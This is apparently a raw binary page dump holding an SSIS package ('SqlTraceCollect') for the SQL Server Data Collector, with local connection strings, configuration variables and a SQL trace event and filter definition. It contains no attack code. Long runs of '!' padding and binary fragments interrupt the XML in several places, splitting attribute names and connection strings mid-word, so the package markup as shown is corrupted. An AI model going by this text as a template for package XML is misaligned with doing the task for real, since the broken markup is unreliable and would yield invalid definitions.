!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Yx7`
Zn1ѯj+^m8!!!!`"o?)KxvKw8QJŽtm>SqlTraceCollect	vKw8QJŽtm<SqlTraceUpload	vKw8QJŽtm@TSQLQueryCollect	vKw8QJŽtm>TSQLQueryUpload	vKw8QJŽtmFPerfCountersCollect	vKw8QJŽtmDPerfCountersUpload	vKw8QJŽtmHQueryActivityCollect	vKw8QJŽtmFQueryActivityUpload	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!D`6p1*jHv<DTS:Executable xmlns:DTS="www.microsoft.com/SqlServer/Dts" DTS:refId="Package" DTS:CreationDate="2/14/2007 3:06:05 PM" DTS:CreationName="SSIS.Package.3" DTS:CreatorComputerName="MACIES4" DTS:CreatorName="REDMOND\macies" DTS:DelayValidation="True" DTS:DTSID="{0E149FC9-1046-4DE6-98BF-4B22ED6F6C42}" DTS:EnableConfig="True" DTS:ExecutableType="SSIS.Package.3" DTS:FailParentOnFailure="True" DTS:LastModifiedProductVersion="11.0.1252.5" DTS:LocaleID="1033" DTS:MaxErrorCount="0" DTS:ObjectName="SqlTraceCollect" DTS:PackageType="5" DTS:SuppressConfigurationWarnings="True" DTS:VersionBuild="87" DTS:VersionGUID="{81B7A3CD-C000-47F6-A2D2-9356DE56067A}"><DTS:Property DTS:Name="PackageFormatVersion">6</DTS:Property><DTS:ConnectionManagers><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[ConfigConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to get information about collection configuration and for logging purposes." DTS:DTSID="{9BE08268-DCA3-4834-8711-29EB7B34AC16}" DTS:ObjectName="ConfigConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::ConfigConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:ConnectionString="Data Source=(local);Initial Catalog=msdb;Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[MdwConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to upload collected data to a warehouse." DTS:DTSID="{B2336E2F-4946-4B14-9A6C-BF6059132E81}" DTS:ObjectName="MdwConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::MDWConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:Retain="True" DTS:ConnectionString="Data Source=(local);Initial Catalog=MDW;Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[TargetConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to get information from the monitored (target) instance." DTS:DTSID="{BDD785A2-1226-44DB-B2B4-9D4AFF9CCB3A}" DTS:ObjectName="TargetConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::TargetConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:Retain="True" DTS:ConnectionString="Data Source=(local);Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager></DTS:ConnectionManagers><DTS:Configurations><DTS:Configuration DTS:ConfigurationString="User::CacheDirectory" DTS:ConfigurationVariable="\Package.Variables[User::CacheDirectory].Properties[Value]" DTS:CreationName="" DTS:DTSID="{72F1EE8A-126D-4918-8358-55FD82DCDA58}" DTS:ObjectName="CacheDirectory"/><DTS:Configuration DTS:ConfigurationString="User::CacheWindow" DTS:ConfigurationVariable="\Package.Variables[User::CacheWindow].Properties[Value]" DTS:CreationName="" DTS:DTSID="{5EF6C061-FFAD-45CF-BEDC-170C206A9774}" DTS:ObjectName="CacheWindow"/><DTS:Configuration DTS:ConfigurationString="User::InputParameters" DTS:ConfigurationVariable="\Package.Variables[User::InputParameters].Properties[Value]" DTS:CreationName="" DTS:DTSID="{62E3B07F-C5B7-4897-B347-74EF91DE84EA}" DTS:ObjectName="InputParameters"/><DTS:Configuration DTS:ConfigurationString="User::MDWConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::MDWConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{EBB9F538-F06D-4E25-803F-DA3786931A72}" DTS:ObjectName="MDWConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::ConfigConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::ConfigConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{D435F04D-45EE-4705-9F59-37B75F4695BB}" DTS:ObjectName="ConfigConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::TargetConnectionString" DTS:Configu	!!!!!!!!!!!!!!!!!!!!!!!!`q1,HvrationVariable="\Package.Variables[User::TargetConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{175B22A1-7B3C-4C7C-9F27-8BA255CE806D}" DTS:ObjectName="TargetConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::LoopEventName" DTS:ConfigurationVariable="\Package.Variables[User::LoopEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{349BCBAD-ABF2-4639-93A2-E7E6474E2C69}" DTS:ObjectName="LoopEventName"/><DTS:Configuration DTS:ConfigurationString="User::ExitEventName" DTS:ConfigurationVariable="\Package.Variables[User::ExitEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{264D4120-D107-4880-A7FA-5BEAE2BB05B8}" DTS:ObjectName="ExitEventName"/><DTS:Configuration DTS:ConfigurationString="User::CollectorTypeUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectorTypeUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{E46A25A3-1DB8-4F06-93F5-700D9FF3D8DB}" DTS:ObjectName="CollectorTypeUID"/><DTS:Configuration DTS:ConfigurationString="User::CollectionSetUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectionSetUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{DA667ED7-E83E-4E8F-AF0B-90B784E51E4D}" DTS:ObjectName="CollectionSetUID"/><DTS:Configuration DTS:ConfigurationString="User::ItemID" DTS:ConfigurationVariable="\Package.Variables[User::ItemID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{4D42DA00-DC8B-442A-AE96-18DB1C38D3E7}" DTS:ObjectName="ItemID"/><DTS:Configuration DTS:ConfigurationString="User::InstanceID" DTS:ConfigurationVariable="\Package.Variables[User::InstanceID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{8AFB1B11-7206-4A95-AED3-631969E75CE9}" DTS:ObjectName="InstanceID"/><DTS:Configuration DTS:ConfigurationString="User::InstanceName" DTS:ConfigurationVariable="\Package.Variables[User::InstanceName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{7B439C62-C6E2-4961-B885-8F19CA71B18B}" DTS:ObjectName="InstanceName"/><DTS:Configuration DTS:ConfigurationString="User::LoggingLevel" DTS:ConfigurationVariable="\Package.Variables[User::LoggingLevel].Properties[Value]" DTS:CreationName="" DTS:DTSID="{3FB4BC97-FCA6-457F-BEFA-A22645B7824C}" DTS:ObjectName="LoggingLevel"/><DTS:Configuration DTS:ConfigurationString="User::LogID" DTS:ConfigurationVariable="\Package.Variables[User::LogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{C5B0F2F8-E34E-41C6-879A-85CAD34E4ED8}" DTS:ObjectName="LogID"/><DTS:Configuration DTS:ConfigurationString="User::ParentLogID" DTS:ConfigurationVariable="\Package.Variables[User::ParentLogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{2DF60C47-E413-4E07-9EC1-F06F888B6143}" DTS:ObjectName="ParentLogID"/></DTS:Configurations><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{9E13D738-CEC0-4537-93A7-7926142F274B}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CacheDirectory"><DTS:VariableValue DTS:DataType="8">C:\Users\macies\AppData\Local\Temp\ecodedc</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{E40806B1-6B8D-4381-AD2B-1C44067588E4}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="CacheWindow"><DTS:VariableValue DTS:DataType="3">1</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{B902EBEC-969B-42D4-81BE-C5149B8E1750}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectionSetUID"><DTS:VariableValue DTS:DataType="8">f37780d4-fea7-4271-90b2-fa553ad4ca91</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{998E9C65-6E29-46CD-845E-AFA5D5C6E75E}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectorTypeUID"><DTS:VariableValue DTS:DataType="8">0e218cf8-ecb5-417b-b533-d851c0251271</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{9B1A5823-2F9A-4589-B15F-CDB60E89CDAF}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="ConfigConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQL	!!!!!!!!!!!!!!!!!!!!!!!!`r1.\HvNCLI11;Data Source=(local);Integrated Security=SSPI;Initial Catalog=msdb;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{46738D8F-C9D8-45DC-95C2-F7BD6CB95C13}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="ExitEventName"><DTS:VariableValue DTS:DataType="8">EXITEVENT</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{A3701456-096F-4A45-A8CC-E5473ECFE075}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InputParameters"><DTS:VariableValue DTS:DataType="8">&lt;?xml version="1.0" encoding="utf-8"?&gt;&lt;ns:SqlTraceCollector xmlns:ns="DataCollectorType" normalize_sql="0" normalize_plans="0" normalize_procedures="0" normalize_connections="0" normalize_default="1"&gt;&lt;Events&gt;&lt;EventType id ="6" name="Performance"&gt;&lt;Event id="58" name="Auto Stats"  /&gt;&lt;Event id="165" name="Performance statistics"  /&gt;&lt;Event id="146" name="Showplan XML Statistics Profile"  /&gt;&lt;/EventType&gt;&lt;EventType id="13" name="TSQL"&gt;&lt;Event id="12" name="SQL:BatchCompleted" columnslist="1, 3, 9, 10, 13, 16, 17, 18" /&gt;&lt;Event id="13" name="SQL:BatchStarting"  /&gt;&lt;Event id="41" name="SQL:StmtCompleted"  /&gt;&lt;Event id="166" name="SQL:StmtRecompile"  /&gt;&lt;/EventType&gt;&lt;EventType id="20" name="CLR"&gt;&lt;Event id="196" name="Assembly Load"  /&gt;&lt;/EventType&gt;&lt;EventType id="1" name="Cursors"&gt;&lt;Event id="53" name="CursorOpen"  /&gt;&lt;Event id="75" name="CursorRecompile"  /&gt;&lt;Event id="76" name="CursorImplicitConversion"  /&gt;&lt;Event id="78" name="CursorClose"  /&gt;&lt;/EventType&gt;&lt;/Events&gt;&lt;Filters&gt;&lt;Filter columnid="13" columnname="Duration" logical_operator="AND" comparison_operator="GE" value="1000L"/&gt;&lt;Filter columnid="10" columnname="ApplicationName" logical_operator="AND" comparison_operator="LIKE" value="Data Collector"/&gt;&lt;Filter columnid="10" columnname="ApplicationName" logical_operator="AND" comparison_operator="EQ" value="NULL"/&gt;&lt;Filter columnid="18" columnname="CPU" logical_operator="AND" comparison_operator="EQ" value="20"/&gt;&lt;Filter columnid="14" columnname="StartTime" logical_operator="AND" comparison_operator="GT" value="2007-02-09 13:40:00"/&gt;&lt;/Filters&gt;&lt;/ns:SqlTraceCollector&gt;</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{91086B11-E37A-419D-B9F2-05807790111F}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceID"><DTS:VariableValue DTS:DataType="8">MSSQL.1</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{20041AC6-1B78-4A75-8F50-D4DAA6EDF964}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceName"><DTS:VariableValue DTS:DataType="8">(local)</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{0C688D7F-6BFB-4018-BA62-78AF00876D5D}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ItemID"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{9FF8E1B3-7D2A-43BD-894D-F27FEBC3275C}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" 